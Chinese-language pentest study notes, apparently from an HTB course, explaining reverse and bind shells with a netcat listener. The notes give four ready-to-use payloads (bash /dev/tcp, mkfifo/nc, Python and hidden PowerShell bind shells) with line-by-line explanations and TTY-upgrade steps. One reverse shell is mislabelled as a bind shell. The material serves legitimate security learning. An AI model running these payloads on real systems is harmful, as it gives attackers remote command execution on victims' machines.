初见反弹shell
反弹类型:
Reverse Shell |
连接回我们的系统,并通过反向连接让我们控制。 |
---|---|
Bind Shell |
等待我们连接到它,并在我们这样做后给我们控制权。 |
Web Shell |
通过 Web 服务器进行通信,通过 HTTP 参数接受我们的命令,执行它们,然后打印输出。 |
Tanin@htb[/htb]$ nc -lvnp 1234
listening on [any] 1234 ...
我们使用的标志如下:
nc标志
旗 | 描述 |
---|---|
-l |
收听模式,等待连接连接到我们。 |
-v |
详细模式,以便我们知道何时收到连接。 |
-n |
禁用 DNS 解析并仅从 IP 连接到 IP,以加快连接速度。 |
-p 1234 |
端口号正在侦听,应将反向连接发送到。netcat |
##Reverse Shell
载荷1:
bash -c 'bash -i >& /dev/tcp/10.10.10.10/1234 0>&1'
在命令行中,bash -c
和 -i
是 bash
shell 的选项和参数。
-c
选项用于在命令行上执行指定的命令。它允许您在不启动新的交互式bash
会话的情况下执行一条命令。后面应跟随要执行的命令。例如,bash -c 'echo Hello, World!'
将执行echo Hello, World!
这个命令,并在输出中打印 “Hello, World!”。-i
参数是交互式模式的意思。它使bash
shell 在启动后成为交互式的,以便用户可以与 shell 进行交互。通常在需要与 shell 进行交互的脚本或命令中使用-i
参数。例如,bash -i
将启动一个交互式bash
shell。
在提供的命令中,bash -c 'bash -i >& /dev/tcp/{ip} 0>&1'
结合了这两个选项和参数。它使用 -c
选项来执行指定的命令,而该命令是 bash -i >& /dev/tcp/{ip} 0>&1
。这将启动一个交互式 bash
shell,并将其标准输出(文件描述符 1)重定向到 /dev/tcp/{ip}
,并将标准输入(文件描述符 0)重定向到标准输出。这种配置通常用于建立反向 shell 连接。请注意,{ip}
应该被替换为实际的 IP 地址。
Bind Shell
载荷2:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 1234 >/tmp/f
提供的命令涉及一系列操作,包括创建命名管道(named pipe),使用cat
命令将管道的输出传递给/bin/sh
并建立反向 shell 连接。
具体来说,这个命令的含义如下:
rm /tmp/f
: 删除/tmp/f
文件(如果存在)。mkfifo /tmp/f
: 创建一个命名管道文件/tmp/f
。cat /tmp/f | /bin/sh -i 2>&1
: 使用cat
命令读取管道/tmp/f
的内容,并将其传递给/bin/sh
来执行,-i
选项表示以交互式方式运行 shell。nc 10.10.10.10 1234 >/tmp/f
: 使用nc
命令(netcat)建立到10.10.10.10
IP 地址、端口1234
的反向 shell 连接,并将连接的输入输出重定向到管道/tmp/f
。
总体上,这个命令的目的是在本地主机上建立一个反向 shell 连接,将输入输出流通过命名管道 /tmp/f
传输,并通过nc
命令将流重定向到远程主机 10.10.10.10
的端口 1234
上。
什么是管道文件:
管道文件(Named pipe)是一种特殊类型的文件,它允许不同进程之间通过文件系统进行通信。它提供了一个双向的、先进先出(FIFO)的通信通道,允许一个进程将数据写入管道的一端,而另一个进程可以从管道的另一端读取相同的数据。
管道文件在操作系统中以文件的形式存在,但实际上它们并不存储任何数据,而是将数据直接传递给读取它们的进程。当一个进程写入管道时,数据将被缓存并传递给读取进程,以便进程之间进行通信。
管道文件的创建使用特定的命令或系统调用,如在Linux中的mkfifo
命令或mkfifo()
系统调用。它们可以在命令行中使用,也可以在脚本或程序中以编程方式使用。
管道文件在进程间通信(IPC)中非常有用,特别是当需要在不同的进程之间传递数据或进行协作时。它们可以用于多个进程之间的实时数据传输、数据处理管道和进程间同步等场景。管道文件提供了一种简单而有效的方式来实现进程之间的通信,而无需使用复杂的进程间通信机制。
载荷3:
python -c 'exec("""import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);s1.bind(("0.0.0.0",1234));s1.listen(1);c,a=s1.accept();\nwhile True: d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())""")'
整理一下:
python -c 'exec("""import socket as s,subprocess as sp;
s1=s.socket(s.AF_INET,s.SOCK_STREAM);
s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);
s1.bind(("0.0.0.0",1234));s1.listen(1);c,a=s1.accept();
\nwhile True: d=c.recv(1024).decode();
p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);
c.sendall(p.stdout.read()+p.stderr.read())""")'
chatgpt解释:
import socket as s, subprocess as sp
# 导入所需的模块,包括 socket 和 subprocess
s1 = s.socket(s.AF_INET, s.SOCK_STREAM)
# 创建一个 TCP socket 对象
s1.setsockopt(s.SOL_SOCKET, s.SO_REUSEADDR, 1)
# 设置 socket 选项,允许地址复用
s1.bind(("0.0.0.0", 1234))
# 将 socket 绑定到本地地址和指定的端口号
s1.listen(1)
# 开始监听传入的连接请求,参数 1 表示允许的最大连接数为 1
c, a = s1.accept()
# 接受客户端的连接请求,并返回一个新的 socket 对象和客户端的地址
while True:
d = c.recv(1024).decode()
# 接收从客户端发送过来的数据(命令),并进行解码
p = sp.Popen(d, shell=True, stdout=sp.PIPE, stderr=sp.PIPE, stdin=sp.PIPE)
# 使用 subprocess.Popen 创建一个新的子进程,并执行接收到的命令
c.sendall(p.stdout.read() + p.stderr.read())
# 将子进程的标准输出和标准错误输出发送回客户端
这个脚本创建了一个 TCP socket 服务器,监听在本地地址(”0.0.0.0”)的端口号 1234 上。当客户端连接成功后,它将无限循环等待客户端发送的命令。每次接收到命令后,它使用 subprocess.Popen
创建一个新的子进程,并在子进程中执行该命令。然后,脚本将子进程的标准输出和标准错误输出发送回客户端。
p = sp.Popen(d, shell=True, stdout=sp.PIPE, stderr=sp.PIPE, stdin=sp.PIPE)
:
这行代码使用 subprocess.Popen
创建一个新的子进程,并执行从客户端接收到的命令。
具体解析如下:
d
是从客户端接收到的命令字符串,它将作为子进程要执行的命令。shell=True
表示要在子进程中使用系统的默认 shell 来解释和执行命令。stdout=sp.PIPE
指定子进程的标准输出将通过管道进行捕获,以便稍后读取。stderr=sp.PIPE
指定子进程的标准错误输出也通过管道进行捕获,以便稍后读取。stdin=sp.PIPE
表示可以通过管道将输入提供给子进程的标准输入。
综合起来,这行代码的作用是创建一个新的子进程,使用系统的默认 shell 执行从客户端接收到的命令,并通过管道捕获子进程的标准输出、标准错误输出和标准输入。这样,我们可以在主程序中通过管道读取子进程的输出和错误信息,以及将输入发送给子进程。
通过这种方式,父进程可以与子进程进行双向通信,向子进程发送输入,并获取子进程的输出和错误信息。这在反向 shell 的实现中非常常见,允许远程控制端发送命令给被控制端,并获取执行结果。
###载荷4:
powershell -NoP -NonI -W Hidden -Exec Bypass -Command $listener = [System.Net.Sockets.TcpListener]1234; $listener.start();$client = $listener.AcceptTcpClient();$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + " ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close();
这个脚本使用 PowerShell 创建一个反向 shell 服务端,监听在指定的端口号 1234 上,并隐藏其执行过程。
以下是对每行代码的解析:
powershell -NoP -NonI -W Hidden -Exec Bypass -Command
: 这是执行 PowerShell 脚本的命令行参数,它设置了一些选项来隐藏 PowerShell 窗口并绕过执行策略。$listener = [System.Net.Sockets.TcpListener]1234; $listener.start();
: 创建一个TcpListener
对象并将其绑定到本地地址的端口 1234 上,并开始监听传入的连接请求。$client = $listener.AcceptTcpClient();
: 接受客户端的连接请求,并返回一个新的TcpClient
对象,用于与客户端进行通信。$stream = $client.GetStream();
: 获取与客户端连接的网络流,用于发送和接收数据。[byte[]]$bytes = 0..65535|%{0};
: 创建一个字节数组,用于存储从客户端接收的数据。while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
: 进入一个无限循环,不断接收从客户端发送的数据。$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
: 将接收到的字节数组转换为字符串,以便获取从客户端发送的命令。$sendback = (iex $data 2>&1 | Out-String );
: 执行从客户端接收到的命令,并将输出结果保存到$sendback
变量中。$sendback2 = $sendback + "PS " + (pwd).Path + " ";
: 在输出结果后添加当前 PowerShell 会话的路径信息。$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
: 将输出结果转换为 ASCII 字节,以便发送给客户端。$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()
: 将字节发送回客户端,并刷新网络流
##升级 TTY
通过Netcat连接到shell后,我们会注意到我们只能键入命令或退格键,但我们不能向左或向右移动文本光标来编辑我们的命令,也不能上下访问命令历史记录。为了能够做到这一点,我们需要升级我们的 TTY。这可以通过将我们的终端 TTY 与远程 TTY 映射来实现。
有多种方法可以做到这一点。出于我们的目的,我们将使用该方法。在我们的 shell 中,我们将使用以下命令使用 python 将我们的 shell 类型升级到完整的 TTY:python/stty``netcat
升级 TTY
Tanin@htb[/htb]$ python -c 'import pty; pty.spawn("/bin/bash")'
运行此命令后,我们将点击后台我们的 shell 并返回我们的本地终端,并输入以下命令:ctrl+z``stty
www-data@remotehost$ ^Z
Tanin@htb[/htb]$ stty raw -echo
Tanin@htb[/htb]$ fg
[Enter]
[Enter]
www-data@remotehost$
一旦我们击中,它将把我们的外壳带回前台。此时,终端将显示一个空行。我们可以再次点击以返回我们的外壳或输入并按回车键将其带回。此时,我们将拥有一个完全工作的TTY shell,其中包含命令历史记录和其他所有内容。fg``netcat``enter``reset
我们可能会注意到我们的外壳没有覆盖整个终端。为了解决这个问题,我们需要找出一些变量。我们可以在系统上打开另一个终端窗口,最大化窗口或使用我们想要的任何大小,然后输入以下命令来获取我们的变量:
Tanin@htb[/htb]$ echo $TERM
xterm-256color
Tanin@htb[/htb]$ stty size
67 318
第一个命令向我们显示了变量,第二个命令分别向我们显示了 和 的值。现在我们有了变量,我们可以回到我们的 shell 并使用以下命令来纠正它们:TERM``rows``columns``netcat
www-data@remotehost$ export TERM=xterm-256color
www-data@remotehost$ stty rows 67 columns 318
一旦我们这样做了,我们应该有一个使用终端全部功能的 shell,就像 SSH 连接一样。netcat